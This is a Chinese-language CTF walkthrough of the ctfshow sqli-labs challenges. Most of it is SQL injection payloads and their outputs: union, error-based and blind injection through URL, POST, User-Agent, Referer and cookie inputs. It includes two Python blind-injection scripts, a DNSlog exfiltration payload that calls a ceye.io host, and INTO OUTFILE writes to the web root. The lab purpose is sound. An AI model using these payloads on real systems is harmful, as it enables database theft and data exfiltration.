赞
踩
输入?id=1 正常
输入?id=1' 报错 ' .0 '
输入?id=1'--+ 正常
判断是字符型注入,闭合方式是'
这里插一句。limit 100,1
是从第100条数据开始,读取1条数据。limit 6
是读取前6条数据。
?id=1' order by 3--+ 正常
判断回显位有三个。
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flag
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+
爆出列是id,flag
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+
?id=1 正常
?id=1" 报错 ' " LIMIT 0,1 '
?id=1--+ 正常
判断是数字型注入
?id=1 order by 3--+ 正常
判断回显位有三个。
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flagaa
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaa'--+
爆出列是id,flagac
?id=1 and 1=2 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+
?id=1 正常
?id=1" 正常
?id=2" 正常
?id=1"--+ 正常
?id=;/';[]' 报错 ' ;/';[]'') LIMIT 0,1 '
判断是字符型注入,闭合方式是')
?id=1') order by 3--+ 正常
判断回显位有三个。
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flagaanec
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaanec'--+
爆出列是id,flagaca
?id=1') and 1=2 union select 1,2,group_concat(flagaca) from ctfshow.flagaanec--+
?id=1 正常
?id=2-1 回显和id=2一样,不是数字型
?id=1' 正常
?id=1" 报错'"1"") LIMIT 0,1'
判断是字符型注入,闭合方式是")
?id=1") order by 3--+ 正常
判断回显位有三个。
?id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flagsf
?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagsf'--+
爆出列是id,flag23
?id=1") and 1=2 union select 1,2,group_concat(flag23) from ctfshow.flagsf--+
?id=1 回显You are in...........
?id=2-1 回显You are in...........
?id=1' 回显' '1'' LIMIT 0,1 '
判断是字符型,'闭合。
?id=1'order by 3--+ //页面显示正常
报错注入
爆数据库名:
?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+
//ctfshow、********
分解一下我的payload
?id=1' and updatexml(//报错注入函数
1,substring( //第一个回显位 //字符串截取函数
concat( //一起抓
0x7e,( //两个小尾巴 ~
select group_concat(schema_name) from information_schema.schemata //核心选择语句
),0x7e //两个小尾巴 ~
),0,99 //从0开始截取99个字符(虽然他最多只能返回30个左右)
),3 /第三个回显位
) --+
爆数据库表名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctfshow") ,0x7e),3)--+
//flagpuck
爆字段名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flagpuck") ,0x7e),3)--+
//id,flag33
爆数据值:
?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+ //ctfshow{f57273b3-1c84-489
?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+ //4-489b-a51a-6e8e1ea28ba3}
绕过字符串返回长度限制。
1、left(201809,4)截取左边的4个字符
SELECT LEFT(201809,4) //结果:2018
2、right(name,2)截取右边的2个字符
SELECT RIGHT(201809,2) //结果:09
3、SUBSTRING(name,5,3) 截取name这个字段 从第五个字符开始 只截取之后的3个字符
SELECT SUBSTRING('成都融资事业部',5,3) //结果:事业部
4、SUBSTRING(name,3) 截取name这个字段 从第三个字符开始,之后的所有个字符
SELECT SUBSTRING('成都融资事业部',3) //结果:融资事业部
5、SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
SELECT SUBSTRING('成都融资事业部',-4) //结果:资事业部
6、SUBSTRING(name, -4,2) 截取name这个字段的第 4 个字符位置(倒数)开始取,只截取之后的2个字符
SELECT SUBSTRING('成都融资事业部',-4,2) //结果:资事
注意:我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。
7、substring_index('www.baidu.com', '.', 2) 截取第二个 '.' 之前的所有字符
SELECT substring_index('www.baidu.com', '.', 2) //结果:www.baidu
8、substring_index('www.baidu.com', '.', -2) 截取第二个 '.' (倒数)之后的所有字符
SELECT substring_index('www.baidu.com', '.', -2) //结果:baidu.com
9、SUBSTR(name, 1, CHAR_LENGTH(name)-3) 截取name字段,取除name字段后三位的所有字符
SELECT SUBSTR('成都融资事业部', 1, CHAR_LENGTH('成都融资事业部')-3) //结果:成都融资
10、mid(str,start,[length])
str:截取的字符串 start:起始位置 length:截取的长度,可以忽略
//未来的徒弟们,虽然我一直都是帮你们搜齐了信息,但是具备自己的信息搜集能力还是非常的重要滴。未来的路还很长,师傅陪不了你们多久唉~
盲注
布尔和时间都可以的。
闭合换成了=="==。其他和上题一样。
ctfshow–>flagpa–>flag3a3–>
?id=1 You are in.... Use outfile......提示用文件
?id=1''''' 回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+ 回显You have an error in your SQL syntax
...
...
...
?id=1'))--+ You are in.... Use outfile......
说明是字符型注入闭合是 '))
测一下回显位
?id=1')) order by 3--+ 回显正常 You are in.... Use outfile......
判断回显位有三个。
布尔盲注还是能用。不过这次我们换个方法。
它提示Use outfile......
。
一、DNSlog外带注入
sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)_第2关:联合查询注入之字符串注入答案_源十三的博客-CSDN博客
DNSlog注入踩坑记录: - 知乎 (zhihu.com)
DNSlog注入详细解析 - FreeBuf网络安全行业门户
DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)
DNSlog注入踩坑记录: - 知乎 (zhihu.com)
DNSlog注入_dnslog dvwa_super 硕的博客-CSDN博客
DNSlog外带注入
需要条件:
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下很可能导致IP被ban。
我们可以利用内置函数load_file()来完成DNSlog。load_file()不仅能加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。
示例:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(payload)),'.DNSlog获取的网址\\abc'));
条件:
1、SQL盲注、无回显的命令执行、无回显的SSRF
2、只能用于windows系统
3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)注意:
1、每次最多取63字节
2、DNSlog网址前的 . 必不可少
补充:
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。
其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式
\\192.168.31.53\test\
CONCAT()
函数拼接了 4 个 \
了,因为转义的原因,4 个就变 \
成了 2 个 \
,目的就是利用 UNC 路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
首先准备好DNSlog外带平台。
ctfshow:payload:暂无,一个都没试验出来。
猜测是这里ctfshow把环境部署到了Linux下,DNSlog注入,windows才能用。
那就用本地部署的环境吧:
先去phpstudy的MySQL目录
下修改配置文件my.ini
。记得重启
secure_file_priv=""
就是可以load_flie任意磁盘的文件。
原理就是’\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。\\\\
转义后就是\\
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%';
查看load_file()可以读取的磁盘。
payload:
?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.m8rwsy.ceye.io\\abc')),2,3--+
可以看到当前数据库名称的十六进制是7365637572697479
。解码一下是security
,DNSlog注入复现成功!
原理验证:
在物理机文件夹下访问网络资源,进行实验,实验编号为1。
\\SHIYAN1.m8rwsy.ceye.io\abc
Windows提示无法访问。
但是CEYE
网站上已经有解析记录了。
他甚至帮我把大小写都试了一遍。
二、写入文件
payload:
?id=-1')) or if((select load_file(concat('\\\\',(select database()),'r.m8rwsy.ceye.io\\abc'))),2,3)--+
遗憾的是flag在数据库里面,命令执行出不来的。
那就重新进行SQL注入,把得到的结果写入文件中。
爆库: ctfshow
?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt"--+
爆表: flagdk (虽然报错了,说我语句有问题,但是还是成功写入文件了)
?id=1')) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/2.txt"--+
爆列: flag43
?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/3.txt"--+
获取字段值(flag):ctfshow{fecd6411-08f9-435e-b9b9-71b88ae8cd1f}
?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/4.txt"--+
?id=1 You are in....
?id=1''''' 无回显,看不见报错
?id=1'--+ 无回显,看不见报错
...
...
...
?id=1"--+ You are in....,双引号闭合
说明是字符型注入闭合是 "
测一下回显位
?id=1" order by 1--+ 回显正常 You are in....
?id=1" order by 2--+ 回显正常 You are in....
?id=1" order by 3--+ 回显正常 You are in....
判断不了回显位,后来盲注脚本用的时候也不需要。
其实第八关和第五关一样。只不过第八关没有报错信息,但是有you are in…进行参照,可以盲注。也可以和第七关一样DNSlog外带、写入文件。
库:ctfshow
表:flagjugg
列:flag423
flag:ctfshow{29601c89-0291-4efd-af8a-15918e766d17}
?id=1 You are in....
?id=1''''' You are in....
?id=1"""")))) You are in....
?id=1'--+ You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)
判断不了闭合和位数
发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。以下是源十三大师傅的总结:
基于时间的注入(延时注入)(Time-based blind SQl injection) 1. Time-based blind SQL injection 2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但 是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。 3.优点:不需要显示位,不需要报错信息。 4.缺点:速度慢,耗费大量时间 5.用法:IF(Condition,A,B)函数 当Condition为TRUE时,返回A;否则返回B。 6.示例: SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
还是先判断回显位。
?id=1' and sleep(3) --+ 有明显延迟
?id=1" and sleep(3) --+ 无延迟
?id=1') and sleep(3) --+ 无延迟
说明这里的闭合是单引号。 位数暂时不判断了,用脚本的话不需要位数
直接上时间盲注的脚本:
import requests
import time
s = requests.session() #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
# 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
# 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
库:ctfshow
表:flagug
列:flag4a23
字段(flag):ctfshow{cda8c580-9263-4ddf-8288-6e747eec7994}
和第九关一样都是时间盲注,唯一不同的是闭合是双引号"
。
库:ctfshow
表:flagugs
列:flag43s
字段(flag):ctfshow{abac3313-fd0d-4402-a42c-43770ac32739}
这下变成POST注入了,还是双参数。
抓个包看看先:
注入点应该是admin。
查看一下本地环境中,这题的源码。
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
闭合是单引号'
。位数是2
.
爆库: ctfshow
uname=xxx' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
爆表: flagugsd
uname=xxx' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit
爆列: flag43s
uname=xxx' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'--+&passwd=123456&submit=Submit
获取字段值(flag):
ctfshow{d7bf0480-8156-479b-9f97-4fbeb89233db}
uname=xxx' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit
同第十一关(web527)
uname=1' --+ 回显图片,内容是登录失败
uname=1" --+ 语法错误报错,报错无有用信息
uname=1') --+ 回显图片,内容是登录失败
uname=1") --+ 回显图片,内容是登录失败
uname=1"()))))) --+ 报错,near '()))))) -- ") and password=("123456") LIMIT 0,1' at line 1
从报错的password可以看出来,闭合是") 。
测一下回显位
uname=1") order by 3--+ 报错Unknown column '3' in 'order clause'
uname=1") order by 2--+ 不报错
uname=1") order by 1--+ 不报错
uname=1") order by 4--+ 报错Unknown column '3' in 'order clause'
uname=1") order by 0--+ 报错Unknown column '3' in 'order clause'
测不出回显位,估计是2。
爆库: ctfshow
uname=xxx") and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
爆表: flagugsds
uname=xxx") and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit
爆列: flag43as
uname=xxx") and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsds'--+&passwd=123456&submit=Submit
获取字段值(flag):
ctfshow{53259b6d-6d52-431a-9fef-a3add2393bb8}
uname=xxx") and 1=2 union select 1,group_concat(flag43as) from ctfshow.flagugsds--+&passwd=123456&submit=Submit
还是和之前一样的界面
闭合和位数就不测了。闭合是')'
,位数是2
。有报错信息,那我们就来巩固一下报错注入吧。
爆库: ctfshow
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit
爆表:flag
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'))))--+&passwd=123456&submit=Submit
爆列:flag4
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'))))--+&passwd=123456&submit=Submit
获取字段(flag):ctfshow{9328fa92-cc6b-4bf8-9f1b-b9eb9536a064}
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)))) --+&passwd=123456&submit=Submit
ctfshow{9328fa92-cc6b-4bf8-9f1b
倒着读:
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag)))) --+&passwd=123456&submit=Submit
脚本逆序后为92-cc6b-4bf8-9f1b-b9eb9536a064}
先测一下。
uname=admin'-- 登录失败图片
uname=admin''''''''-- 登录失败图片
uname=admin''''''''""""))))) 登录失败图片
uname=admin""""""""" 报错near '123456" LIMIT 0,1' at line 1
uname=1" or 1=1-- 登录成功图片(flag.jpg)
所以闭合是双引号"
有报错咱可以报错注入,登陆成功于失败返回图片不一样,咱们也可以布尔盲注。
复习一下布尔盲注。直接贴脚本了。
import requests
import time
url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
"uname" : "",
"passwd" : "123456",
"submit" : "Submit"
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# 跑库名
#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)
# 跑表名
#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)
# 跑列名
#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)
#######################
#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)
payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)
html = requests.post(url,data=payload)
print(payload)
if "/images/flag.jpg" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
脚本如果能自己写一遍,以及不同题目能熟练的更改脚本数据和盲注语句,个人觉得盲注就差不多了。
还是一样的界面
测试一下闭合:
1' or 1=1-- 登录成功图片
1" or 1=1-- 登录失败图片
1') or 1=1-- 登录失败图片
1") or 1=1-- 登录失败图片
所以闭合是单引号 '
测试一下回显位
1' order by 1-- 登录失败图片
1' order by 2-- 登录失败图片
1' order by 3-- 登录失败图片
1' order by 4-- 登录失败图片
测不了一点。但是应该是2,而且盲注不需要。
测试过程中发现不会报错,那只能用布尔盲注了。
本地部署的sqlilabs里看一下源码:
类似第15关(web531)
测试一下闭合:
1' or 1=1-- 登录失败图片
1" or 1=1-- 登录失败图片
1') or 1=1-- 登录失败图片
1") or 1=1-- 登录成功图片
所以闭合是")
那就继续盲注,就不用测回显位了。
页面变成了修改密码。
细细浏览一下本地源码。只看php了。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value){
if(!empty($value)){
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()){
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value)){
$value = "'" . mysql_real_escape_string($value) . "'";
}
else{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity //查询语句
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql); //应该是上面一句语句的查询结果
$row = mysql_fetch_array($result); //把查询结果变成一个无序数组
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error()); //返回报错信息!!!!!!!!
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
可以看到这里进行查询的语句是"SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"
。
进行更改密码的语句是"UPDATE users SET password = '$passwd' WHERE username='$row1'"
。
总览代码全文,发现,虽然查询和更新语句我们能对更新语句(看下文)进行注入,但是,查询和更新语句的结果不会回显,说白了就是注了也白注。
但是也可以发现,代码是回给我们返回报错信息的,那我们就可以进行报错注入。
因为代码中$row
和$row1
一定要存在,才能进行更新语句,并且能返回报错。所以用户名一定要存在,使查询语句返回数据(用户名:DUMB),以及我们不能从查询语句注入,只能从更新语句"UPDATE users SET password = '$passwd' WHERE username='$row1'"
注入,并且注入点是$passwd
。
很容易看出闭合是单引号'
,更新语句注入点前不是select语句,回显位可以不用管。
放一张我思维导图里面对报错注入的归整:
payload我选择用extractvalue()
函数
爆库: ctfshow
uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+&submit=Submit
爆表: flag
uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))--+&submit=Submit
爆列: flag4
uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e))--+&submit=Submit
获取字段值(flag):
uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))--+&submit=Submit
ctfshow{941507ac-76cb-4733-8d0d
倒着读:
uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e))--+&submit=Submit
}76f4a1ec66a1-d0d8-3374-bc67-ca
,逆序一下是ac-76cb-4733-8d0d-1a66ce1a4f67}
flag:ctfshow{941507ac-76cb-4733-8d0d-1a66ce1a4f67}
可以很明显的看到,多了一行IP地址。
账号密码都为DUMB
时,登录成功,返回了U-A头,说明题目可能存在U-A头注入。
之后就是和之前一样用报错注入了。
爆库: ctfshow
UA:
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
【注意】这里的闭合是单引号,但是闭合方式不能在最后加个--空格
或者--+
或者#
,只能利用好闭合的单引号,在最后加一个'1'='1
。
爆表: flag
UA:
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
爆列: flag4
UA:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
获取字段值(flag):
UA:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
也可以
UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#
POST:
uname=DUMB&passwd=DUMB&submit=Submit
ctfshow{527472d7-4d43-494e-823f
倒着读:
UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
}d88f79246a6d-f328-e494-34d4-7d
,逆序一下是d7-4d43-494e-823f-d6a64297f88d}
flag:ctfshow{527472d7-4d43-494e-823f-d6a64297f88d}
和上题差不多,U-A头注入变成Referer注入。闭合还是单引号'
获取字段值(flag):
Referer:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
也可以
UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#
POST:
uname=DUMB&passwd=DUMB&submit=Submit
ctfshow{f57e3a9a-b2ee-4627-addf
倒着读:
UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB&submit=Submit
}5cd172bb2e2e-fdda-7264-ee2b-a9
,逆序一下是9a-b2ee-4627-addf-e2e2bb271dc5}
flag:ctfshow{f57e3a9a-b2ee-4627-addf-e2e2bb271dc5}
先账号密码DUMB,DUMB登录试试。可以看见这里返回了很多信息,包括了自己的Cookie。
在F12的Application里面查看一下自己的Cookie,确实是题目回显的Cookie。
这里存在cookie注入
,并且是'
闭合
有点抽象并且不好理解,我们查看一下源码,看看他的SQL语句为什么会存在Cookie注入。
源码分析:
一、如果不存在COOKIE方式提交的uname
变量。
首先后台先对我们输入的账号密码进行检查,防止我们SQL注入。
然后后台接收我们POST传参的账号密码,并且进行查询。
如果有错误则会回显报错。看起来这里就有报错注入的可能性了。但是其实没有,因为有check,对我们输入的检查。所以我们输入报错注入语句是会被检查到的。我们无法利用这里的error返回数据库信息。
二、如果存在COOKIE方式提交的uname
变量。
如果不存在POST提交的submit变量
就会利用$cookee变量进行SQL语句查询,同时有错误则返回报错,那就存在了COOKIE为注入点的报错注入。
获取字段值(flag):
Cookie:
uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB
也可以
Cookie:
uname=' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#
POST:
uname=DUMB&passwd=DUMB
ctfshow{cec5545b-3a4e-45ef-b212
倒着读:
Cookie:
uname=' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB
}123e9ea3ecbf-212b-fe54-e4a3-b5
,逆序一下是5b-3a4e-45ef-b212-fbce3ae9e321}
flag:ctfshow{cec5545b-3a4e-45ef-b212-fbce3ae9e321}
和20关很像,先账号密码DUMB,DUMB登录试试。可以看见这里也返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。
解码一下Cookie试试。
所以21关和20关的区别就在于Cookie加了一个base64编码。
获取字段值(flag):
Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==
//' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB
也可以
Cookie:
uname=JyBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj
//' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#
POST:
uname=DUMB&passwd=DUMB
结果是ctfshow{a1679cb4-87df-4e44-a83f
倒着读:
Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==
//' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
POST:
uname=DUMB&passwd=DUMB
结果逆序一下是b4-87df-4e44-a83f-301766292bf8}
flag:ctfshow{a1679cb4-87df-4e44-a83f-301766292bf8}
和21关区别就在于闭合变成了双引号"
。
获取字段值(flag):
Cookie:
uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==
//" and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and "1"="1
POST:
uname=DUMB&passwd=DUMB
也可以
Cookie:
uname=IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj
//" or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#
POST:
uname=DUMB&passwd=DUMB
结果是ctfshow{1b398957-5f90-4841-a17a
倒着读:
Cookie:
